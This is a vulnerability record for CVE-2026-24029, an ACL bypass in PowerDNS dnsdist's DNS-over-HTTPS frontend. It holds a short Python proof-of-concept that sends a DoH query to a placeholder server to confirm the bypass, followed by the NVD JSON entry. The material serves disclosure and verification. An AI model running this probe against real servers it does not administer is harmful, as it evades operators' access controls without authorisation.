CVE-2026-24029

# PoC Demonstration for CVE-2026-24029 # This script demonstrates that ACL checks are bypassed when early_acl_drop is disabled. # # Precondition: dnsdist is configured with nghttp2, an ACL restricting specific IPs, # and 'earlyACLDrop' is set to 'false' in the Lua configuration. import requests import sys # Target DoH server URL (example) target_url = "https://dnsdist-server.example.com:443/dns-query" # Attacker's IP (Assume this IP is NOT in the allowed ACL) # Normally the query should be blocked, but with the vulnerability it succeeds. def test_acl_bypass(): print(f"[*] Attempting to send DoH query to {target_url}...") # Parameters for a DNS A record query params = { "name": "example.com", "type": "A" } headers = { "Accept": "application/dns-json" } try: response = requests.get(target_url, params=params, headers=headers, timeout=5, verify=False) if response.status_code == 200: print("[+] Vulnerability Confirmed: Query successful despite ACL restrictions.") print(f"[+] Response Data: {response.text[:100]}...") else: print(f"[-] Query blocked or failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": test_acl_bypass()

{"cve": {"id": "CVE-2026-24029", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:27.633", "lastModified": "2026-04-14T16:24:27.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When the early_acl_drop (earlyACLDrop in Lua) option is disabled (default is enabled) on a DNS over HTTPs frontend using the nghttp2 provider, the ACL check is skipped, allowing all clients to send DoH queries regardless of the configured ACL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.12", "matchCriteriaId": "628B3B94-81DE-496E-B36A-B79A3DFFE1F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.3", "matchCriteriaId": "9AC850DD-FDD8-4C48-B861-4BBAF423FF57"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}